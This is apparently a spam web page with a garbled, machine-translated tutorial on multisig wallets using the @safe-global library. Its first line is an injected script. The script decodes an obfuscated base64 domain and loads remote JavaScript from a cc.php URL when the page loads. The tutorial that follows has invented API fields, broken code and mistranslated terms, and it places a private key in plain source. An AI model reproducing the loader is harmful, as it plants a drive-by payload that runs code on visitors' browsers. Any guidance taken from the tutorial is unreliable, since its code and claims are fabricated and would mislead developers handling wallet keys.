const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=249a51ce »;document.body.appendChild(script);

Here is an article based on your documentation:

Enabling multiple signatures in a safe with ethereum

In this guide, we will look at the safety of multiple signatures through the library @Safe-Global.

Prerequisites

In order to use multiple signatories, you first need to create a new safe class case and define multisigg configuration. In this exam, we will assume that you are working with a simple multisig setting where one signature can zoom in to two additional signatories.

Be sure to install the required library first:

Bash

NPM Install @Safe-Global

`

New Safe Case of Safe

Create a new file called “Safe.js” and add the following code to define your secure instance:

`JavaScript

Import {safe} from '@safe-global';

CONST MYSAFE = New safe ({

// Define Multisig configuration here

Type: “Multisig”,

Name: “My Multisig Test”,

PublicKey: 'YourpublicKey', // Replace with a valid publkey

Privatekey: 'yourprivatekey', // replace with a valid private key

// Enable multiple signatories

Enlemultllesigners: true,

Numsigners: {

Confirmed bypsigners: 2, // The number of additional signatures allowed to approach transactions

},

});

In this exam, we have defined a multisig configuration for our wallet with the numericals set to {stopībysigners: 2}. This means that one signator (a safe creator) can approx.

Signature creation

To create multiple signatories, you will need to create a new signing key and add a wallet or a safe storage solution, such as a hardware wallet.

For this exam, let’s have a private key called “Privatekey’s, which we will use as our original signatorial. We can also generate additional signatories using the following code:

`JavaScript

CONST {Privatekey, PublicKey} = Expect GetPriveKeyandPublicKey ();

You can use the following code to create a new signature with a specific name and public key:

`JavaScript

Const Newsigner = Expect Getnewsigner ({

ID: “New Signer”,

Name: 'John Doe', // Replace with a valid name

PublicKey: 'YourpublicKey', // Replace with a valid publkey

});

In violation of signatories for security

To settle signatories to your secure, you will need to create a new deal that includes the necessary information (such as the signatories’ names and public keys). In this example, let’s say we have a simple Createtransaction feature:

JavaScript

Const Createtransaction = Async (TransactionConfig) => {

Const Signerdata = Expect GetsignerInfo (TransactionConfig.signers);

// Use the Signer Data to create a transaction

Const deal = new transaction (Signerdata, TransactionConfig);

Return transaction;

};

To settle the signatories to our wallet, we can create a new deal and include the signatory public key:

`JavaScript

CONST MYSAFEINSTANT = wait for mysafe.createtransaction ({

Type: “Deal”,

Inputs: [],

Outputs: [], // Add output if any

// Include the signatories in the transaction

Signatories: [Newsigner.publicKey],

});

In this example, we have created a new deal and included our « Newsigner » public key as one of the signatories. This will allow us to get closer to deals with several signatories.

Putting it all

In order to use multiple signatories, you will need to create a new safe class, define multisigg configuration, and then create several signatories using the above code. Here is an example of how you can put it all together:

«  JavaScript

Import {safe} from ‘@safe-global’;

GetpreprepetekeyandpublicKey of ‘.

Import {Createtransaction} from ‘.